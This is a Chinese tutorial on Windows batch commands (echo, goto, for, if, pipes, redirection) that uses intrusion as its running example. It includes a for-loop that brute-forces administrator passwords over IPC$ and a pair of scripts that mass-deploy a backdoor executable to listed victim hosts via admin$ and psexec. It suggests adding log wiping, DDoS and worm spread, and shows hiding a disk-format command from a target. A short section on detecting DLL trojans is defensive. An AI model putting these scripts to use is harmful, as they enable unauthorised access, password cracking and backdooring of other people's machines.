Windows .bat 脚本简单用法介绍：

一.简单批处理内部命令简介

1.Echo 命令

打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。

语法:

echo [{on│off}] [message]

Sample：@echo off / echo [hello world](http://zhidao.baidu.com/search?word=hello%20world&fr=qb_search_exp&ie=utf8)

在实际应用中我们会把这条命令和[重定向](http://zhidao.baidu.com/search?word=%E9%87%8D%E5%AE%9A%E5%90%91&fr=qb_search_exp&ie=utf8)符号（也称为管[道符](http://zhidao.baidu.com/search?word=%E9%81%93%E7%AC%A6&fr=qb_search_exp&ie=utf8)号，一般用> >> ^）结合来实现输入一些命

令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令

表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使

用的命令啦。

Sample：@echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这

个参数给我们，效果和/y是一样的。)

3.Goto 命令

指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。

语法：goto label （label是参数，指定所要转向的批处理程序中的行。）

Sample：

if {%1}=={} goto noparms

if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令

就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令

注释命令，在C语言中相当与/\*--------\*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你

自己日后修改。

Rem Message

Sample：@Rem Here is the description.

5.Pause 命令

运行 Pause 命令时，将显示下面的消息：

Press any key to continue . . .

Sample：

@echo off

:begin

copy a:\*.\* d：\back

echo Please put a new disk into driver A

pause

goto begin

在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入

驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。

6.Call 命令

从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签

。如果在脚本或[批处理文件](http://zhidao.baidu.com/search?word=%E6%89%B9%E5%A4%84%E7%90%86%E6%96%87%E4%BB%B6&fr=qb_search_exp&ie=utf8)外使用 Call，它将不会在命令行起作用。

语法:

call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

参数:

[Drive:}[Path] FileName

指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令

调用外部程序，所有的[DOS命令](http://zhidao.baidu.com/search?word=DOS%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8)和命令行程序都可以由start命令来调用。

常用参数：

MIN 开始时窗口最小化

SEPARATE 在分开的空间内开始 16 位 Windows 程序

HIGH 在 HIGH [优先级](http://zhidao.baidu.com/search?word=%E4%BC%98%E5%85%88%E7%BA%A7&fr=qb_search_exp&ie=utf8)类别开始应用程序

REALTIME 在 REALTIME [优先级](http://zhidao.baidu.com/search?word=%E4%BC%98%E5%85%88%E7%BA%A7&fr=qb_search_exp&ie=utf8)类别开始应用程序

WAIT 启动应用程序并等候它结束

parameters 这些为传送到命令/程序的参数

执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本

内执行，该新行为则不会发生。

8.choice 命令

choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提

示可输入的字符，之间无空格。它的返回码为1234......

如: choice /c:dme defrag,mem,end

将显示

defrag,mem,end[D,M,E]?

Sample：

Sample.bat的内容如下:

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag （应先判断数值最高的错误码）

if errorlevel 2 goto mem

if errotlevel 1 goto end

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后[if语句](http://zhidao.baidu.com/search?word=if%E8%AF%AD%E5%8F%A5&fr=qb_search_exp&ie=utf8)将作出判断，d表示执行

标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后

都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。

9.If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。

有三种格式:

1)、if "参数" == "字符串" 待执行的命令

参数如果等于指定的字符串，则条件成立，[运行命令](http://zhidao.baidu.com/search?word=%E8%BF%90%E8%A1%8C%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8)，否则运行下一句。(注意是两个等号）

如if "%1"=="a" format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2)、if exist 文件名 待执行的命令

如果有指定的文件，则条件成立，[运行命令](http://zhidao.baidu.com/search?word=%E8%BF%90%E8%A1%8C%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8)，否则运行下一句。

如if exist [config.sys](http://zhidao.baidu.com/search?word=config.sys&fr=qb_search_exp&ie=utf8) edit [config.sys](http://zhidao.baidu.com/search?word=config.sys&fr=qb_search_exp&ie=utf8)

3)、if errorlevel / if not errorlevel 数字 待执行的命令

如果返回码等于指定的数字，则条件成立，[运行命令](http://zhidao.baidu.com/search?word=%E8%BF%90%E8%A1%8C%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8)，否则运行下一句。

如if errorlevel 2 goto x2

DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。

10.for 命令

for 命令是一个比较复杂的命令，主要用于参数在指定的范围[内循环](http://zhidao.baidu.com/search?word=%E5%86%85%E5%BE%AA%E7%8E%AF&fr=qb_search_exp&ie=utf8)执行命令。

在[批处理文件](http://zhidao.baidu.com/search?word=%E6%89%B9%E5%A4%84%E7%90%86%E6%96%87%E4%BB%B6&fr=qb_search_exp&ie=utf8)中使用 FOR 命令时，指定变量请使用 %%variable

for {%variable│%%variable} in (set) do command [ CommandLineOptions]

%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用[通配符](http://zhidao.baidu.com/search?word=%E9%80%9A%E9%85%8D%E7%AC%A6&fr=qb_search_exp&ie=utf8)。

command 指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

在[批处理文件](http://zhidao.baidu.com/search?word=%E6%89%B9%E5%A4%84%E7%90%86%E6%96%87%E4%BB%B6&fr=qb_search_exp&ie=utf8)中使用 FOR 命令时，指定变量请使用 %%variable

而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I

如果命令扩展名被启用，下列额外的 FOR 命令格式会受到支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含[通配符](http://zhidao.baidu.com/search?word=%E9%80%9A%E9%85%8D%E7%AC%A6&fr=qb_search_exp&ie=utf8)，则指定与目录名匹配，而不与文件名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用

当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-parameters]

该集表示以[增量](http://zhidao.baidu.com/search?word=%E5%A2%9E%E9%87%8F&fr=qb_search_exp&ie=utf8)形式从开始到结束的一个数字序列。

因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生

序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN ('command') DO command

或者，如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN ('command') DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读

取并经过处理。

处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字

符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白

行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同

解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指[分隔符](http://zhidao.baidu.com/search?word=%E5%88%86%E9%9A%94%E7%AC%A6&fr=qb_search_exp&ie=utf8)集。这个替换了空格和跳格键的默认[分隔符](http://zhidao.baidu.com/search?word=%E5%88%86%E9%9A%94%E7%AC%A6&fr=qb_search_exp&ie=utf8)集。

tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的

格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号，那么额外的变量将在最后一

个符号解析之分配并接受行的保留文本。

usebackq - 指定新语法已在下类情况中使用:

在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set中使用[双引号](http://zhidao.baidu.com/search?word=%E5%8F%8C%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8)扩起

文件名称。

sample1:

FOR /F "eol=; tokens=2,3\* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行，忽略以[分号](http://zhidao.baidu.com/search?word=%E5%88%86%E5%8F%B7&fr=qb_search_exp&ie=utf8)打头的那些行，将每行中的第二个和第三个符号传递给 for

程序体；用逗号和/或 空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用

%j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用

[双引号](http://zhidao.baidu.com/search?word=%E5%8F%8C%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8)将文件名括起来。为了用这种方式来使用[双引号](http://zhidao.baidu.com/search?word=%E5%8F%8C%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8)，您还需要使用 usebackq 选项，否则，双引号会

被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens=

一行指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住，FOR 变量是单一字

母、分大小写和全局的；同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用[单引号](http://zhidao.baidu.com/search?word=%E5%8D%95%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8)将括号之间的 filenameset 括起来。

这样，该字符串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符

串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此

，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的[环境变量](http://zhidao.baidu.com/search?word=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&fr=qb_search_exp&ie=utf8)名称。

另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:

~I - 删除任何引号(")，扩充 %I

%~fI - 将 %I 扩充到一个完全合格的路径名

%~dI - 仅将 %I 扩充到一个驱动器号

%~pI - 仅将 %I 扩充到一个路径

%~nI - 仅将 %I 扩充到一个文件名

%~xI - 仅将 %I 扩充到一个[文件扩展名](http://zhidao.baidu.com/search?word=%E6%96%87%E4%BB%B6%E6%89%A9%E5%B1%95%E5%90%8D&fr=qb_search_exp&ie=utf8)

%~sI - 扩充的路径只含有短名

%~aI - 将 %I 扩充到文件的[文件属性](http://zhidao.baidu.com/search?word=%E6%96%87%E4%BB%B6%E5%B1%9E%E6%80%A7&fr=qb_search_exp&ie=utf8)

%~tI - 将 %I 扩充到文件的日期/时间

%~zI - 将 %I 扩充到文件的大小

%~$PATH:I - 查找列在路径[环境变量](http://zhidao.baidu.com/search?word=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&fr=qb_search_exp&ie=utf8)的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变

量未被定义，或者没有找到文件，此组合键会扩充空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径

%~nxI - 仅将 %I 扩充到一个文件名和扩展名

%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名

%~dp$PATH:i - 查找列在路径[环境变量](http://zhidao.baidu.com/search?word=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&fr=qb_search_exp&ie=utf8)的目录，并将 %I 扩充到找到的第一个驱动器号和路径。

%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似

%I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2：

利用For命令来实现对一台目标Win2k主机的暴力密码破解。

我们用[net use](http://zhidao.baidu.com/search?word=net%20use&fr=qb_search_exp&ie=utf8) file://ip/ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下

密码。

最主要的命令是一条：for /f i% in (dict.txt) do [net use](http://zhidao.baidu.com/search?word=net%20use&fr=qb_search_exp&ie=utf8) file://ip/ipc$ "i%" /u:"administrator"

用i%来表示admin的密码，在dict.txt中这个取i%的值用[net use](http://zhidao.baidu.com/search?word=net%20use&fr=qb_search_exp&ie=utf8) 命令来连接。然后将程序运行结果传递给

find命令－－

for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator"│find ":命令成功完

成">>D:\ok.txt ，这样就ko了。

sample3：

你有没有过手里有大量[肉鸡](http://zhidao.baidu.com/search?word=%E8%82%89%E9%B8%A1&fr=qb_search_exp&ie=utf8)等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会

变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或[重复性](http://zhidao.baidu.com/search?word=%E9%87%8D%E5%A4%8D%E6%80%A7&fr=qb_search_exp&ie=utf8)任务。那么如何实现呢？呵呵

，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数

%i %j %k。

而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码

（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。

delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容

是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。

代码[雏形](http://zhidao.baidu.com/search?word=%E9%9B%8F%E5%BD%A2&fr=qb_search_exp&ie=utf8)：

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------

@echo off

@if "%1"=="" goto usage

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------

------------------- cut here then save as a batchfile(I call it door.bat) ------------------

-----------

@net use file://%1/ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection ............OK

@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3

>>ko.txt

@psexec file://%1/ c:\winnt\system32\windrv32.exe

@psexec file://%1/ net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

----------------- cut here then save as a batchfile(I call it door.bat) --------------------

------------

这只是一个自动种植后门批处理的[雏形](http://zhidao.baidu.com/search?word=%E9%9B%8F%E5%BD%A2&fr=qb_search_exp&ie=utf8)，两个批处理和[后门程序](http://zhidao.baidu.com/search?word=%E5%90%8E%E9%97%A8%E7%A8%8B%E5%BA%8F&fr=qb_search_exp&ie=utf8)（Windrv32.exe）,PSexec.exe需放在统一

目录下.批处理内容

尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功

能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

二.如何在批处理文件中使用参数

批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见

，我们就不考虑它了。

sample1：fomat.bat

@echo off

if "%1"=="a" format a:

:format

@format a:/q/u/auotset

@echo please insert another disk to driver A.

@pause

@goto fomat

这个例子用[于连](http://zhidao.baidu.com/search?word=%E4%BA%8E%E8%BF%9E&fr=qb_search_exp&ie=utf8)续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添

足了～

sample2：

当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令

写入一个批处理，把[肉鸡](http://zhidao.baidu.com/search?word=%E8%82%89%E9%B8%A1&fr=qb_search_exp&ie=utf8)地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令

了。

@echo off

@net use file://1%/ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。

@if errorlevel 1 echo connection failed

怎么样,使用参数还是比较简单的吧？你这么帅一定学会了.No.3

三.如何使用组合命令(Compound Command)

1.&

Usage：第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令，而不管命令是否执行成功

Sample：

C:\>dir z: & dir c:\Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .

2002-05-14 23:51 ..

2002-05-14 23:51 14 sometips.gif

2.&&

Usage：第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则

一直执行完所有命令；

Sample：

C:\>dir z: && dir c:\Ex4rch

The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .

2002-05-14 23:55 ..

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.

在做[备份](http://zhidao.baidu.com/link?url=yrLnQpSDc58d_RI_mnh_sA5O6PSLL5wzvZJ0uFLtKiwRtAwO2UAyEAT-wMK0u4_xTFLgFoYPiGopguO1b657Aq)的时候可能会用到这种命令会比较简单，如：

dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb

E:\backup

如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法

可以替换IF exist了.

3.││

Usage：第一条命令 ││ 第二条命令 [││ 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的

命令则一直执行完所有命令；

Sample：

C:\Ex4rch>dir sometips.gif ││ del sometips.gif

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free

组合命令使用的例子：

sample：

@copy trojan.exe file://%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3

>>victim.txt

四、管道命令的使用

1.│ 命令

Usage：第一条命令 │ 第二条命令 [│ 第三条命令...]

将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。

sample：

time /t>>D:\IP.log

netstat -n -p tcp│find ":3389">>D:\IP.log

start Explorer

看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登

录用户的IP。

2.>、>>输出[重定向](http://zhidao.baidu.com/search?word=%E9%87%8D%E5%AE%9A%E5%90%91&fr=qb_search_exp&ie=utf8)命令

将一条命令或某个程序输出结果的[重定向](http://zhidao.baidu.com/search?word=%E9%87%8D%E5%AE%9A%E5%90%91&fr=qb_search_exp&ie=utf8)到特定文件中, > 与 >>的区别在于，>会清除调原有文件中的内

容后写入指定文件，而>>只会追加内容到指定文件中，而不会改动其中的内容。

sample1：

echo [hello world](http://zhidao.baidu.com/search?word=hello%20world&fr=qb_search_exp&ie=utf8)>c:\hello.txt (stupid example?)

sample2:

时下DLL木马盛行，我们知道system32是个[捉迷藏](http://zhidao.baidu.com/search?word=%E6%8D%89%E8%BF%B7%E8%97%8F&fr=qb_search_exp&ie=utf8)的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不 例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：

运行CMD--转换目录到system32--dir \*.exe>exeback.txt & dir \*.dll>dllback.txt,

这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,

日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.

这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运

行:

CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比

较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,

然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没

有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到

回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.< 、>& 、<&

< 从文件中而不是从键盘中读入命令输入。

>& 将一个[句柄](http://zhidao.baidu.com/search?word=%E5%8F%A5%E6%9F%84&fr=qb_search_exp&ie=utf8)的输出写入到另一个[句柄](http://zhidao.baidu.com/search?word=%E5%8F%A5%E6%9F%84&fr=qb_search_exp&ie=utf8)的输入中。

<& 从一个[句柄](http://zhidao.baidu.com/search?word=%E5%8F%A5%E6%9F%84&fr=qb_search_exp&ie=utf8)读取输入并将其写入到另一个句柄输出中。

这些并不常用，也就不多做介绍。